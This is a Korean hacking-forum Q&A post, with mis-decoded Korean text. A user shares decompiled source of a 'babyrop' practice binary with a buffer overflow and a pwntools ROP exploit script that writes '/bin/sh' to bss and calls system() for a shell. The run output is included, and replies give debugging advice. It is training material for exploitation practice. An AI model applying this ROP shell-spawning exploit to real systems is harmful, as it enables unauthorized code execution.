½Ã½ºÅÛ ÇØÅ·

 1574, 7/79 ȸ¿ø°¡ÀÔ  ·Î±×ÀΠ 
   tkakr7458
   pwntools ¸¦ ÀÌ¿ëÇÑ Àͽº Áú¹®

http://www.hackerschool.org/HS_Boards/zboard.php?id=QNA_system&no=1859 [º¹»ç]


int __cdecl main(int argc, const char **argv, const char **envp)
{
  char buf; // [sp+Ch] [bp-8Ch]@1
  int v5; // [sp+8Ch] [bp-Ch]@1

  v5 = 0;
  system("echo \"it's very very easy buffer overflow\"");
  read(0, &buf, 0x100u);
  printf("buf: %s\n", &buf);
  return 0;
}

À§´Â ¼Ò½º ÄÚµåÀÔ´Ï´Ù.

from pwn import*

elf = ELF("./babyrop")
conn = remote("localhost",9999)


binsh = "/bin/sh\00"
bss = 0x08049f14
read_plt = elf.plt['read']
system_plt = elf.plt['system']
pppr = 0x804853

print "system@plt : " +hex(system_plt)
print "read@plt : " +hex(read_plt)
print "pppr : " +hex(pppr)

payload = "A"*144
payload += p32(read_plt)
payload += p32(pppr)
payload += p32(0)
payload += p32(bss)
payload += p32(len(binsh)+1)

payload += p32(system_plt)
payload += "AAAA"
payload += p32(bss)

print "expolt start"

conn.send(payload)
conn.send(binsh)

conn.send("id\n")
conn.interactive()

À§¿Í °°ÀÌ ÀÛ¼ºÇß½À´Ï´Ù.

[*] '/home/jack2/Desktop/babyrop'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
[+] Opening connection to localhost on port 9999: Done
system@plt : 0x8048340
read@plt : 0x8048320
pppr : 0x804853
expolt start
[*] Switching to interactive mode
it's very very easy buffer overflow
[*] Got EOF while reading in interactive
$ id
[*] Closed connection to localhost port 9999
[*] Got EOF while sending in interactive

ÀÌ·¸°Ô ¼º°øÀ» ¸øÇߴµ¥ ¿Ö ÀÌ·¯³ª¿ä ¤Ð¤Ð °¡Á¬Àº ¶È¹Ù·Î ã¾Ò½À´Ï´Ù.!!

  Hit : 7233     Date : 2017/04/16 06:06



    
ÇØÄð·¯ buf°¡ ebp-0x8c¿¡ ÀÖÀ¸´Ï 0x8c+4 Çؼ­ 144¹ÙÀÌÆ®¸¸Å­ ¸ÇóÀ½¿¡ A¸¦ ³ÖÀ¸¼Å¾ß ÇÕ´Ï´Ù 140°³¹Û¿¡ ¾È³ÖÀ¸¼Å¼­ ¾ÈµÇ´Â°Ì´Ï´Ù 2017/04/16  
tkakr7458 144 ³Ö¾ú¾î¿ä.. 2017/04/16  
ÇØÄð·¯ ¾Æ Á¦°¡ À߸øºÃ±º¿ä ±×·¯¸é s.send(payload)¿Í s.send(binsh) »çÀÌ¿¡ time.sleep(0.5)¸¦ ³Ö¾îº¸¼¼¿ä
Àú·¸°Ô ªÀº ½Ã°£Â÷·Î ÁÖ¸é ¹öÆÛ´Â Å«µ¥ ÀÛÀº ¹®ÀÚ¿­ µÎ°³°¡ ¿À´Ï±î µÑ´Ù buf¿¡ µé¾î°¥ ¼ö ÀÖ½À´Ï´Ù
2017/04/16  
tkakr7458 Àß ¾ÈµÇ³×¿ä ¤Ð 2017/04/16  
ÇØÄð·¯ strace¸¦ ½áº¸¼¼¿ä ¾öû ÁÁ½À´Ï´Ù
remote() ¹Ù·Î ´ÙÀ½¿¡ pause() ÇÑÁÙ ³ÖÀ¸½Ã°í ÆÄÀ̽㠽ÇÇàÇÏ½Ã¸é ¸ØÃçÀִµ¥
±× ¶§ ¼­¹ö¿¡¼­ strace -if -p $(pgrep babyrop) ÇÏ½Ã¸é ¾îÅÂÄ¡ µÇ°í ÆÄÀ̽㿡¼­ ¿£ÅÍ Çѹø Ä¡¼Å¼­ º¸½Ã¸é µË´Ï´Ù
2017/04/16  
parktong80 Ȥ½Ã babyrop ¹ÙÀ̳ʸ® º¸³»ÁֽǼö ÀÖÀ¸½Å°¡¿ä?
parktong80@naver.com ÀÔ´Ï´Ù
2017/05/03  
1454   ¹öÆÛ¿À¹öÇÃ·Î¿ì °ü·Ã Áú¹®..[1]     ewqqw
04/17 2319
1453   ubuntu 16.04 UAF¹ö±×..[10]     vngkv123
04/16 3096
1452   gdb ºÐ¼® disas[5]     ewqqw
04/16 2121
  pwntools ¸¦ ÀÌ¿ëÇÑ Àͽº Áú¹®[6]     tkakr7458
04/16 7232
1450   ¹öÆÛ¿À¹öÇ÷οì Áú¹®....[2]     ewqqw
04/16 2272
1449   IDA¿¡¼­ ¼Ò½ºÄڵ带 º¹¿øÇßÀ»¶§[5]     vngkv123
04/13 3516
1448   aslr ȯ°æ¿¡¼­...[2]     vngkv123
04/12 2517
1447   asis CTF ¹®Á¦Ç®´Ù°¡....[4]     vngkv123
04/12 2232
1446   pwnable kr OTP¹®Á¦...[2]     vngkv123
04/09 2753
1445   64bit elfÆÄÀÏ µð¹ö±ë½Ã[6]     vngkv123
04/08 2484
1444   gdb¿¡¼­...[2]     vngkv123
04/05 2140
1443   ¹®Á¦ ¹æÇ⼺...[11]     vngkv123
04/04 2404
1442   2013 plaid ctf rop ..[14]     vngkv123
04/02 2453
1441   python Æä1À̷εå ÀÛ¼º½Ã[1]     vngkv123
04/02 1893
1440   ¿ë¾îµé Áú¹®..[6]     vngkv123
04/01 2338
1439   strippedµÈ ¹ÙÀ̳ʸ®ÆÄÀÏÀ» µð¹ö±ëÇÒ¶§...[5]     vngkv123
04/01 2511
1438   fc10 fc14...[1]     vngkv123
04/01 2042
1437   gdb¿¡¼­ callÀÌÈÄ ºê·¹ÀÌÅ©¸¦ °É¾úÀ»¶§..[10]     vngkv123
03/31 2002
1436   ¸®ÅÏ°ú °ü·ÃÇÑ Áú¹®....[9]     vngkv123
03/30 1938
1435   rop gadgetãÀ» ¶§....[1]     vngkv123
03/30 2111
[1][2][3][4][5][6] 7 [8][9][10]..[79]

Copyright 1999-2024 Zeroboard / skin by Hackerschool.org / Secure Patch by Hackerschool.org